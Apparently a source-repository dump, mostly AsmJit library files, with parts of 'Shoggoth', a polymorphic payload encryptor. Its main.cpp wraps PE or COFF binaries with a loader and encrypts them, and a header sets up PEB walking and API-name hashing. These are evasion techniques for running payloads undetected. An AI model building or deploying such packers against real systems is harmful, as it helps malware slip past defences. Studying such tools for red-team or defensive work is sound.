documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #ifndef ASMJIT_NO_JIT 26 | 27 | #include "../core/cpuinfo.h" 28 | #include "../core/jitruntime.h" 29 | 30 | ASMJIT_BEGIN_NAMESPACE 31 | 32 | // ============================================================================ 33 | // [asmjit::JitRuntime - Utilities] 34 | // ============================================================================ 35 | 36 | // Only useful on non-x86 architectures. 37 | static inline void JitRuntime_flushInstructionCache(const void* p, size_t size) noexcept { 38 | #if ASMJIT_ARCH_X86 39 | DebugUtils::unused(p, size); 40 | #else 41 | # if defined(_WIN32) 42 | // Windows has a built-in support in `kernel32.dll`. 43 | ::FlushInstructionCache(::GetCurrentProcess(), p, size); 44 | # elif defined(__GNUC__) 45 | char* start = static_cast(const_cast(p)); 46 | char* end = start + size; 47 | __builtin___clear_cache(start, end); 48 | # else 49 | DebugUtils::unused(p, size); 50 | # endif 51 | #endif 52 | } 53 | 54 | // ============================================================================ 55 | // [asmjit::JitRuntime - Construction / Destruction] 56 | // ============================================================================ 57 | 58 | JitRuntime::JitRuntime(const JitAllocator::CreateParams* params) noexcept 59 | : _allocator(params) { 60 | _environment = hostEnvironment(); 61 | _environment.setFormat(Environment::kFormatJIT); 62 | } 63 | 64 | JitRuntime::~JitRuntime() noexcept {} 65 | 66 | // ============================================================================ 67 | // [asmjit::JitRuntime - Interface] 68 | // ============================================================================ 69 | 70 | Error JitRuntime::_add(void** dst, CodeHolder* code) noexcept { 71 | *dst = nullptr; 72 | 73 | ASMJIT_PROPAGATE(code->flatten()); 74 | ASMJIT_PROPAGATE(code->resolveUnresolvedLinks()); 75 | 76 | size_t estimatedCodeSize = code->codeSize(); 77 | if (ASMJIT_UNLIKELY(estimatedCodeSize == 0)) 78 | return DebugUtils::errored(kErrorNoCodeGenerated); 79 | 80 | uint8_t* ro; 81 | uint8_t* rw; 82 | ASMJIT_PROPAGATE(_allocator.alloc((void**)&ro, (void**)&rw, estimatedCodeSize)); 83 | 84 | // Relocate the code. 85 | Error err = code->relocateToBase(uintptr_t((void*)ro)); 86 | if (ASMJIT_UNLIKELY(err)) { 87 | _allocator.release(ro); 88 | return err; 89 | } 90 | 91 | // Recalculate the final code size and shrink the memory we allocated for it 92 | // in case that some relocations didn't require records in an address table. 93 | size_t codeSize = code->codeSize(); 94 | 95 | for (Section* section : code->_sections) { 96 | size_t offset = size_t(section->offset()); 97 | size_t bufferSize = size_t(section->bufferSize()); 98 | size_t virtualSize = size_t(section->virtualSize()); 99 | 100 | ASMJIT_ASSERT(offset + bufferSize <= codeSize); 101 | memcpy(rw + offset, section->data(), bufferSize); 102 | 103 | if (virtualSize > bufferSize) { 104 | ASMJIT_ASSERT(offset + virtualSize <= codeSize); 105 | memset(rw + offset + bufferSize, 0, virtualSize - bufferSize); 106 | } 107 | } 108 | 109 | if (codeSize < estimatedCodeSize) 110 | _allocator.shrink(ro, codeSize); 111 | 112 | flush(ro, codeSize); 113 | *dst = ro; 114 | 115 | return kErrorOk; 116 | } 117 | 118 | Error JitRuntime::_release(void* p) noexcept { 119 | return _allocator.release(p); 120 | } 121 | 122 | void JitRuntime::flush(const void* p, size_t size) noexcept { 123 | JitRuntime_flushInstructionCache(p, size); 124 | } 125 | 126 | ASMJIT_END_NAMESPACE 127 | 128 | #endif 129 | -------------------------------------------------------------------------------- /PELoader/APISolver.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define DEREF( name )*(UINT_PTR *)(name) 5 | #define DEREF_64( name )*(DWORD64 *)(name) 6 | #define DEREF_32( name )*(DWORD *)(name) 7 | #define DEREF_16( name )*(WORD *)(name) 8 | #define DEREF_8( name )*(BYTE *)(name) 9 | 10 | #define CRYPTED_HASH_KERNEL32 0x6945c952 11 | #define CRYPTED_HASH_NTDLL 0x3bd692ca 12 | #define CRYPTED_HASH_SHLWAPIDLL 0xbe08b300 13 | 14 | #define CRYPT_KEY 0x19052727 15 | 16 | //redefine UNICODE_STR struct 17 | typedef struct UNICODE_STR { 18 | USHORT Length; 19 | USHORT MaximumLength; 20 | PWSTR pBuffer; 21 | } UNICODE_STR, * PUNICODE_STR; 22 | 23 | //redefine PEB_LDR_DATA struct 24 | typedef struct _PEB_LDR_DATA 25 | { 26 | DWORD dwLength; 27 | DWORD dwInitialized; 28 | LPVOID lpSsHandle; 29 | LIST_ENTRY InLoadOrderModuleList; 30 | LIST_ENTRY InMemoryOrderModuleList; 31 | LIST_ENTRY InInitializationOrderModuleList; 32 | LPVOID lpEntryInProgress; 33 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 34 | 35 | //redefine LDR_DATA_TABLE_ENTRY struct 36 | typedef struct _LDR_DATA_TABLE_ENTRY 37 | { 38 | LIST_ENTRY InMemoryOrderModuleList; 39 | LIST_ENTRY InInitializationOrderModuleList; 40 | PVOID DllBase; 41 | PVOID EntryPoint; 42 | ULONG SizeOfImage; 43 | UNICODE_STR FullDllName; 44 | UNICODE_STR BaseDllName; 45 | ULONG Flags; 46 | SHORT LoadCount; 47 | SHORT TlsIndex; 48 | LIST_ENTRY HashTableEntry; 49 | ULONG TimeDateStamp; 50 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 51 | 52 | //redefine PEB_FREE_BLOCK struct 53 | typedef struct _PEB_FREE_BLOCK 54 | { 55 | struct _PEB_FREE_BLOCK* pNext; 56 | DWORD dwSize; 57 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 58 | 59 | //redefine PEB struct 60 | typedef struct __PEB 61 | { 62 | BYTE bInheritedAddressSpace; 63 | BYTE bReadImageFileExecOptions; 64 | BYTE bBeingDebugged; 65 | BYTE bSpareBool; 66 | LPVOID lpMutant; 67 | LPVOID lpImageBaseAddress; 68 | PPEB_LDR_DATA pLdr; 69 | LPVOID lpProcessParameters; 70 | LPVOID lpSubSystemData; 71 | LPVOID lpProcessHeap; 72 | PRTL_CRITICAL_SECTION pFastPebLock; 73 | LPVOID lpFastPebLockRoutine; 74 | LPVOID lpFastPebUnlockRoutine; 75 | DWORD dwEnvironmentUpdateCount; 76 | LPVOID lpKernelCallbackTable; 77 | DWORD dwSystemReserved; 78 | DWORD dwAtlThunkSListPtr32; 79 | PPEB_FREE_BLOCK pFreeList; 80 | DWORD dwTlsExpansionCounter; 81 | LPVOID lpTlsBitmap; 82 | DWORD dwTlsBitmapBits[2]; 83 | LPVOID lpReadOnlySharedMemoryBase; 84 | LPVOID lpReadOnlySharedMemoryHeap; 85 | LPVOID lpReadOnlyStaticServerData; 86 | LPVOID lpAnsiCodePageData; 87 | LPVOID lpOemCodePageData; 88 | LPVOID lpUnicodeCaseTableData; 89 | DWORD dwNumberOfProcessors; 90 | DWORD dwNtGlobalFlag; 91 | LARGE_INTEGER liCriticalSectionTimeout; 92 | DWORD dwHeapSegmentReserve; 93 | DWORD dwHeapSegmentCommit; 94 | DWORD dwHeapDeCommitTotalFreeThreshold; 95 | DWORD dwHeapDeCommitFreeBlockThreshold; 96 | DWORD dwNumberOfHeaps; 97 | DWORD dwMaximumNumberOfHeaps; 98 | LPVOID lpProcessHeaps; 99 | LPVOID lpGdiSharedHandleTable; 100 | LPVOID lpProcessStarterHelper; 101 | DWORD dwGdiDCAttributeList; 102 | LPVOID lpLoaderLock; 103 | DWORD dwOSMajorVersion; 104 | DWORD dwOSMinorVersion; 105 | WORD wOSBuildNumber; 106 | WORD wOSCSDVersion; 107 | DWORD dwOSPlatformId; 108 | DWORD dwImageSubsystem; 109 | DWORD dwImageSubsystemMajorVersion; 110 | DWORD dwImageSubsystemMinorVersion; 111 | DWORD dwImageProcessAffinityMask; 112 | DWORD dwGdiHandleBuffer[34]; 113 | LPVOID lpPostProcessInitRoutine; 114 | LPVOID lpTlsExpansionBitmap; 115 | DWORD dwTlsExpansionBitmapBits[32]; 116 | DWORD dwSessionId; 117 | ULARGE_INTEGER liAppCompatFlags; 118 | ULARGE_INTEGER liAppCompatFlagsUser; 119 | LPVOID lppShimData; 120 | LPVOID lpAppCompatInfo; 121 | UNICODE_STR usCSDVersion; 122 | LPVOID lpActivationContextData; 123 | LPVOID lpProcessAssemblyStorageMap; 124 | LPVOID lpSystemDefaultActivationContextData; 125 | LPVOID lpSystemAssemblyStorageMap; 126 | DWORD dwMinimumStackCommit; 127 | } _PEB, * _PPEB; 128 | 129 | 130 | UINT64 GetSymbolAddress(UINT64 dllAddress, LPCSTR lpProcName); 131 | UINT64 GetLoadedLibrary(unsigned long hash); 132 | 133 | // kernel32.dll exports 134 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 135 | 136 | // msvcrt.dll exports 137 | typedef int(WINAPI* WPRINTF)(const wchar_t* format, ...); 138 | typedef int(WINAPI* PRINTF)(const char* format, ...); 139 | typedef int(WINAPI* NTUNMAPVIEWOFSECTION)(HANDLE, PVOID); 140 | typedef void* (WINAPI* CALLOC)(size_t, size_t); 141 | typedef void* (WINAPI* MEMCPY)(void*, const void*, size_t); 142 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 143 | typedef PCSTR (WINAPI* STRSTRA)(PCSTR, PCSTR); 144 | typedef UINT64 (WINAPI* GETPROCADDRESS)(HMODULE, PCSTR); -------------------------------------------------------------------------------- /src/asmjit/core/zonestring.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_SMALLSTRING_H_INCLUDED 25 | #define ASMJIT_CORE_SMALLSTRING_H_INCLUDED 26 | 27 | #include "../core/globals.h" 28 | #include "../core/zone.h" 29 | 30 | ASMJIT_BEGIN_NAMESPACE 31 | 32 | //! \addtogroup asmjit_zone 33 | //! \{ 34 | 35 | // ============================================================================ 36 | // [asmjit::ZoneStringBase] 37 | // ============================================================================ 38 | 39 | //! A helper class used by \ref ZoneString implementation. 40 | struct ZoneStringBase { 41 | union { 42 | struct { 43 | uint32_t _size; 44 | char _embedded[sizeof(void*) * 2 - 4]; 45 | }; 46 | struct { 47 | void* _dummy; 48 | char* _external; 49 | }; 50 | }; 51 | 52 | inline void reset() noexcept { 53 | _dummy = nullptr; 54 | _external = nullptr; 55 | } 56 | 57 | Error setData(Zone* zone, uint32_t maxEmbeddedSize, const char* str, size_t size) noexcept { 58 | if (size == SIZE_MAX) 59 | size = strlen(str); 60 | 61 | if (size <= maxEmbeddedSize) { 62 | memcpy(_embedded, str, size); 63 | _embedded[size] = '\0'; 64 | } 65 | else { 66 | char* external = static_cast(zone->dup(str, size, true)); 67 | if (ASMJIT_UNLIKELY(!external)) 68 | return DebugUtils::errored(kErrorOutOfMemory); 69 | _external = external; 70 | } 71 | 72 | _size = uint32_t(size); 73 | return kErrorOk; 74 | } 75 | }; 76 | 77 | // ============================================================================ 78 | // [asmjit::ZoneString] 79 | // ============================================================================ 80 | 81 | //! A string template that can be zone allocated. 82 | //! 83 | //! Helps with creating strings that can be either statically allocated if they 84 | //! are small, or externally allocated in case their size exceeds the limit. 85 | //! The `N` represents the size of the whole `ZoneString` structure, based on 86 | //! that size the maximum size of the internal buffer is determined. 87 | template 88 | class ZoneString { 89 | public: 90 | static constexpr uint32_t kWholeSize = 91 | (N > sizeof(ZoneStringBase)) ? uint32_t(N) : uint32_t(sizeof(ZoneStringBase)); 92 | static constexpr uint32_t kMaxEmbeddedSize = kWholeSize - 5; 93 | 94 | union { 95 | ZoneStringBase _base; 96 | char _wholeData[kWholeSize]; 97 | }; 98 | 99 | //! \name Construction & Destruction 100 | //! \{ 101 | 102 | inline ZoneString() noexcept { reset(); } 103 | inline void reset() noexcept { _base.reset(); } 104 | 105 | //! \} 106 | 107 | //! \name Accessors 108 | //! \{ 109 | 110 | //! Tests whether the string is empty. 111 | inline bool empty() const noexcept { return _base._size == 0; } 112 | 113 | //! Returns the string data. 114 | inline const char* data() const noexcept { return _base._size <= kMaxEmbeddedSize ? _base._embedded : _base._external; } 115 | //! Returns the string size. 116 | inline uint32_t size() const noexcept { return _base._size; } 117 | 118 | //! Tests whether the string is embedded (e.g. no dynamically allocated). 119 | inline bool isEmbedded() const noexcept { return _base._size <= kMaxEmbeddedSize; } 120 | 121 | //! Copies a new `data` of the given `size` to the string. 122 | //! 123 | //! If the `size` exceeds the internal buffer the given `zone` will be 124 | //! used to duplicate the data, otherwise the internal buffer will be 125 | //! used as a storage. 126 | inline Error setData(Zone* zone, const char* data, size_t size) noexcept { 127 | return _base.setData(zone, kMaxEmbeddedSize, data, size); 128 | } 129 | 130 | //! \} 131 | }; 132 | 133 | //! \} 134 | 135 | ASMJIT_END_NAMESPACE 136 | 137 | #endif // ASMJIT_CORE_SMALLSTRING_H_INCLUDED 138 | -------------------------------------------------------------------------------- /src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "ShoggothEngine.h" 6 | #include "AuxFunctions.h" 7 | #include "Structs.h" 8 | #include "OptionsHelper.h" 9 | 10 | 11 | int main(int argc, char *argv[]) { 12 | bool peMode = false; 13 | bool coffMode = true; 14 | int inputSize = 0; 15 | int encryptedPayloadSize = 0; 16 | PBYTE inputFileBuffer = NULL; 17 | PBYTE encryptedPayload = NULL; 18 | // Polymorphic Engine Object 19 | ShoggothPolyEngine* shoggothEngine = NULL; 20 | OPTIONS configurationOptions; 21 | memset(&configurationOptions, 0x00, sizeof(OPTIONS)); 22 | PrintHeader(); 23 | if (!ParseArgs(argc,argv,configurationOptions)) { 24 | std::cout << "\n[!] Error on parsing arguments. You may have forgotten mandatory options. Use -h for help.\n" << std::endl; 25 | return -1; 26 | } 27 | // Read the input binary 28 | inputFileBuffer = ReadBinary(configurationOptions.inputPath, inputSize); 29 | 30 | if (!inputFileBuffer || !inputSize) { 31 | std::cout << "[!] Can't read the input file: " << configurationOptions.inputPath << std::endl; 32 | return -1; 33 | } 34 | if (configurationOptions.isVerbose) { 35 | std::cout << "[+] " << configurationOptions.inputPath << " is read!" << std::endl; 36 | } 37 | 38 | // Initiate the engine 39 | shoggothEngine = new ShoggothPolyEngine(&configurationOptions); 40 | 41 | if (configurationOptions.isVerbose) { 42 | std::cout << "[+] Shoggoth engine is initiated!" << std::endl; 43 | } 44 | 45 | if (configurationOptions.operationMode == PE_LOADER_MODE) { 46 | if (configurationOptions.isVerbose) { 47 | std::cout << "[+] PE Loader mode is selected!" << std::endl; 48 | } 49 | // Check the input file is a PE file or not 50 | if (CheckValidPE(inputFileBuffer)) { 51 | // Check it is x64 or not 52 | if (Checkx64PE(inputFileBuffer) ) { 53 | if (configurationOptions.isVerbose) { 54 | std::cout << "[+] Input file is a valid x64 PE! PE encoding is choosing..." << std::endl; 55 | } 56 | } 57 | else { 58 | std::cout << "[!] x86 PE is detected! Shoggoth doesn't support x86 PE yet!" << std::endl; 59 | return -1; 60 | } 61 | 62 | } 63 | else { 64 | std::cout << "[!] Given input file is not a PE!" << std::endl; 65 | return -1; 66 | } 67 | inputFileBuffer = shoggothEngine->AddPELoader(inputFileBuffer, inputSize, inputSize); 68 | if(!inputFileBuffer){ 69 | std::cout << "[!] Error on merging PE loader and payload!" << std::endl; 70 | return -1; 71 | } 72 | } 73 | else if (configurationOptions.operationMode == COFF_LOADER_MODE) { 74 | if (configurationOptions.isVerbose) { 75 | std::cout << "[+] COFF Loader mode is selected!" << std::endl; 76 | } 77 | if (configurationOptions.coffArg) { 78 | // Verify user provided an even number of bytes as arguments 79 | if (strlen(configurationOptions.coffArg) % 2 != 0) 80 | { 81 | std::cout << "[!] Invalid args! Supplied argument string must contain an even number of characters." << std::endl; 82 | return -1; 83 | } 84 | // Transform the supplied hex string into bytes 85 | PBYTE argBytes = GenArgBytes(configurationOptions.coffArg, strlen(configurationOptions.coffArg) / 2); 86 | inputFileBuffer = shoggothEngine->AddCOFFLoader(inputFileBuffer, inputSize, argBytes, strlen(configurationOptions.coffArg) / 2, inputSize); 87 | } 88 | else { 89 | // If no args supplied, we still need to pass an integer (4 bytes) containing the length of the args (0 in this case) 90 | const char defaultArgs[] = { 0x00, 0x00, 0x00, 0x00 }; 91 | inputFileBuffer = shoggothEngine->AddCOFFLoader(inputFileBuffer, inputSize, (PBYTE)defaultArgs, 4, inputSize); 92 | } 93 | if (!inputFileBuffer) { 94 | std::cout << "[!] Error on merging COFF loader and payload!" << std::endl; 95 | return -1; 96 | } 97 | } 98 | else if (configurationOptions.operationMode == RAW_MODE){ 99 | if (configurationOptions.isVerbose) { 100 | std::cout << "[+] Raw mode is selected!" << std::endl; 101 | std::cout << "[+] No loader shellcode will be appended to the payload!" << std::endl; 102 | } 103 | } 104 | else { 105 | std::cout << "[!] Error on mode selection!" << std::endl; 106 | } 107 | if (configurationOptions.isVerbose) { 108 | std::cout << "[+] Polymorphic encryption starts..." << std::endl; 109 | } 110 | // Start Encryption Process 111 | encryptedPayload = shoggothEngine->StartPolymorphicEncrypt(inputFileBuffer, inputSize, encryptedPayloadSize); 112 | std::cout << "[+] Polymorphic encryption is done!" << std::endl; 113 | 114 | // Write output 115 | if (WriteBinary(configurationOptions.outputPath, encryptedPayload, encryptedPayloadSize)) { 116 | if (configurationOptions.isVerbose) { 117 | std::cout << "[+] Encrypted payload is saved as " << configurationOptions.outputPath << std::endl; 118 | } 119 | } 120 | else { 121 | std::cout << "[!] Error on writing to " << configurationOptions.outputPath << std::endl; 122 | return -1; 123 | } 124 | 125 | // Func test = (Func)encryptedPayload; 126 | // test(); 127 | return 0; 128 | } -------------------------------------------------------------------------------- /src/asmjit/x86/x86rapass_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_X86_X86RAPASS_P_H_INCLUDED 25 | #define ASMJIT_X86_X86RAPASS_P_H_INCLUDED 26 | 27 | #include "../core/api-config.h" 28 | #ifndef ASMJIT_NO_COMPILER 29 | 30 | #include "../core/compiler.h" 31 | #include "../core/rabuilders_p.h" 32 | #include "../core/rapass_p.h" 33 | #include "../x86/x86assembler.h" 34 | #include "../x86/x86compiler.h" 35 | #include "../x86/x86emithelper_p.h" 36 | 37 | ASMJIT_BEGIN_SUB_NAMESPACE(x86) 38 | 39 | //! \cond INTERNAL 40 | //! \addtogroup asmjit_x86 41 | //! \{ 42 | 43 | // ============================================================================ 44 | // [asmjit::X86RAPass] 45 | // ============================================================================ 46 | 47 | //! X86 register allocation pass. 48 | //! 49 | //! Takes care of generating function prologs and epilogs, and also performs 50 | //! register allocation. 51 | class X86RAPass : public BaseRAPass { 52 | public: 53 | ASMJIT_NONCOPYABLE(X86RAPass) 54 | typedef BaseRAPass Base; 55 | 56 | EmitHelper _emitHelper; 57 | 58 | // -------------------------------------------------------------------------- 59 | // [Construction / Destruction] 60 | // -------------------------------------------------------------------------- 61 | 62 | X86RAPass() noexcept; 63 | virtual ~X86RAPass() noexcept; 64 | 65 | // -------------------------------------------------------------------------- 66 | // [Accessors] 67 | // -------------------------------------------------------------------------- 68 | 69 | //! Returns the compiler casted to `x86::Compiler`. 70 | inline Compiler* cc() const noexcept { return static_cast(_cb); } 71 | 72 | //! Returns emit helper. 73 | inline EmitHelper* emitHelper() noexcept { return &_emitHelper; } 74 | 75 | // -------------------------------------------------------------------------- 76 | // [Utilities] 77 | // -------------------------------------------------------------------------- 78 | 79 | inline bool avxEnabled() const noexcept { return _emitHelper._avxEnabled; } 80 | inline bool avx512Enabled() const noexcept { return _emitHelper._avx512Enabled; } 81 | 82 | inline uint32_t choose(uint32_t sseInstId, uint32_t avxInstId) noexcept { 83 | return avxEnabled() ? avxInstId : sseInstId; 84 | } 85 | 86 | // -------------------------------------------------------------------------- 87 | // [OnInit / OnDone] 88 | // -------------------------------------------------------------------------- 89 | 90 | void onInit() noexcept override; 91 | void onDone() noexcept override; 92 | 93 | // -------------------------------------------------------------------------- 94 | // [CFG] 95 | // -------------------------------------------------------------------------- 96 | 97 | Error buildCFG() noexcept override; 98 | 99 | // -------------------------------------------------------------------------- 100 | // [Rewrite] 101 | // -------------------------------------------------------------------------- 102 | 103 | Error _rewrite(BaseNode* first, BaseNode* stop) noexcept override; 104 | 105 | // -------------------------------------------------------------------------- 106 | // [Emit] 107 | // -------------------------------------------------------------------------- 108 | 109 | Error emitMove(uint32_t workId, uint32_t dstPhysId, uint32_t srcPhysId) noexcept override; 110 | Error emitSwap(uint32_t aWorkId, uint32_t aPhysId, uint32_t bWorkId, uint32_t bPhysId) noexcept override; 111 | 112 | Error emitLoad(uint32_t workId, uint32_t dstPhysId) noexcept override; 113 | Error emitSave(uint32_t workId, uint32_t srcPhysId) noexcept override; 114 | 115 | Error emitJump(const Label& label) noexcept override; 116 | Error emitPreCall(InvokeNode* invokeNode) noexcept override; 117 | }; 118 | 119 | //! \} 120 | //! \endcond 121 | 122 | ASMJIT_END_SUB_NAMESPACE 123 | 124 | #endif // !ASMJIT_NO_COMPILER 125 | #endif // ASMJIT_X86_X86RAPASS_P_H_INCLUDED 126 | -------------------------------------------------------------------------------- /src/asmjit/core/codewriter.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/codeholder.h" 26 | #include "../core/codewriter_p.h" 27 | 28 | ASMJIT_BEGIN_NAMESPACE 29 | 30 | bool CodeWriterUtils::encodeOffset32(uint32_t* dst, int64_t offset64, const OffsetFormat& format) noexcept { 31 | uint32_t bitCount = format.immBitCount(); 32 | uint32_t bitShift = format.immBitShift(); 33 | uint32_t discardLsb = format.immDiscardLsb(); 34 | 35 | if (!bitCount || bitCount > format.valueSize() * 8u) 36 | return false; 37 | 38 | if (discardLsb) { 39 | ASMJIT_ASSERT(discardLsb <= 32); 40 | if ((offset64 & Support::lsbMask(discardLsb)) != 0) 41 | return false; 42 | offset64 >>= discardLsb; 43 | } 44 | 45 | if (!Support::isInt32(offset64)) 46 | return false; 47 | 48 | int32_t offset32 = int32_t(offset64); 49 | if (!Support::isEncodableOffset32(offset32, bitCount)) 50 | return false; 51 | 52 | switch (format.type()) { 53 | case OffsetFormat::kTypeCommon: { 54 | *dst = (uint32_t(offset32) & Support::lsbMask(bitCount)) << bitShift; 55 | return true; 56 | } 57 | 58 | case OffsetFormat::kTypeAArch64_ADR: 59 | case OffsetFormat::kTypeAArch64_ADRP: { 60 | // Sanity checks. 61 | if (format.valueSize() != 4 || bitCount != 21 || bitShift != 5) 62 | return false; 63 | 64 | uint32_t immLo = uint32_t(offset32) & 0x3u; 65 | uint32_t immHi = uint32_t(offset32 >> 2) & Support::lsbMask(19); 66 | 67 | *dst = (immLo << 29) | (immHi << 5); 68 | return true; 69 | } 70 | 71 | default: 72 | return false; 73 | } 74 | } 75 | 76 | bool CodeWriterUtils::encodeOffset64(uint64_t* dst, int64_t offset64, const OffsetFormat& format) noexcept { 77 | uint32_t bitCount = format.immBitCount(); 78 | uint32_t discardLsb = format.immDiscardLsb(); 79 | 80 | if (!bitCount || bitCount > format.valueSize() * 8u) 81 | return false; 82 | 83 | if (discardLsb) { 84 | ASMJIT_ASSERT(discardLsb <= 32); 85 | if ((offset64 & Support::lsbMask(discardLsb)) != 0) 86 | return false; 87 | offset64 >>= discardLsb; 88 | } 89 | 90 | if (!Support::isEncodableOffset64(offset64, bitCount)) 91 | return false; 92 | 93 | switch (format.type()) { 94 | case OffsetFormat::kTypeCommon: { 95 | *dst = (uint64_t(offset64) & Support::lsbMask(bitCount)) << format.immBitShift(); 96 | return true; 97 | } 98 | 99 | default: 100 | return false; 101 | } 102 | } 103 | 104 | bool CodeWriterUtils::writeOffset(void* dst, int64_t offset64, const OffsetFormat& format) noexcept { 105 | // Offset the destination by ValueOffset so the `dst` points to the 106 | // patched word instead of the beginning of the patched region. 107 | dst = static_cast(dst) + format.valueOffset(); 108 | 109 | switch (format.valueSize()) { 110 | case 1: { 111 | uint32_t mask; 112 | if (!encodeOffset32(&mask, offset64, format)) 113 | return false; 114 | 115 | Support::writeU8(dst, Support::readU8(dst) | mask); 116 | return true; 117 | } 118 | 119 | case 2: { 120 | uint32_t mask; 121 | if (!encodeOffset32(&mask, offset64, format)) 122 | return false; 123 | 124 | Support::writeU16uLE(dst, Support::readU16uLE(dst) | mask); 125 | return true; 126 | } 127 | 128 | case 4: { 129 | uint32_t mask; 130 | if (!encodeOffset32(&mask, offset64, format)) 131 | return false; 132 | 133 | Support::writeU32uLE(dst, Support::readU32uLE(dst) | mask); 134 | return true; 135 | } 136 | 137 | case 8: { 138 | uint64_t mask; 139 | if (!encodeOffset64(&mask, offset64, format)) 140 | return false; 141 | 142 | Support::writeU64uLE(dst, Support::readU64uLE(dst) | mask); 143 | return true; 144 | } 145 | 146 | default: 147 | return false; 148 | } 149 | } 150 | 151 | ASMJIT_END_NAMESPACE 152 | -------------------------------------------------------------------------------- /src/asmjit/core/globals.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/globals.h" 26 | #include "../core/support.h" 27 | 28 | ASMJIT_BEGIN_NAMESPACE 29 | 30 | // ============================================================================ 31 | // [asmjit::DebugUtils] 32 | // ============================================================================ 33 | 34 | ASMJIT_FAVOR_SIZE const char* DebugUtils::errorAsString(Error err) noexcept { 35 | #ifndef ASMJIT_NO_TEXT 36 | // @EnumStringBegin{"enum": "ErrorCode", "output": "sError", "strip": "kError"}@ 37 | static const char sErrorString[] = 38 | "Ok\0" 39 | "OutOfMemory\0" 40 | "InvalidArgument\0" 41 | "InvalidState\0" 42 | "InvalidArch\0" 43 | "NotInitialized\0" 44 | "AlreadyInitialized\0" 45 | "FeatureNotEnabled\0" 46 | "TooManyHandles\0" 47 | "TooLarge\0" 48 | "NoCodeGenerated\0" 49 | "InvalidDirective\0" 50 | "InvalidLabel\0" 51 | "TooManyLabels\0" 52 | "LabelAlreadyBound\0" 53 | "LabelAlreadyDefined\0" 54 | "LabelNameTooLong\0" 55 | "InvalidLabelName\0" 56 | "InvalidParentLabel\0" 57 | "NonLocalLabelCannotHaveParent\0" 58 | "InvalidSection\0" 59 | "TooManySections\0" 60 | "InvalidSectionName\0" 61 | "TooManyRelocations\0" 62 | "InvalidRelocEntry\0" 63 | "RelocOffsetOutOfRange\0" 64 | "InvalidAssignment\0" 65 | "InvalidInstruction\0" 66 | "InvalidRegType\0" 67 | "InvalidRegGroup\0" 68 | "InvalidPhysId\0" 69 | "InvalidVirtId\0" 70 | "InvalidElementIndex\0" 71 | 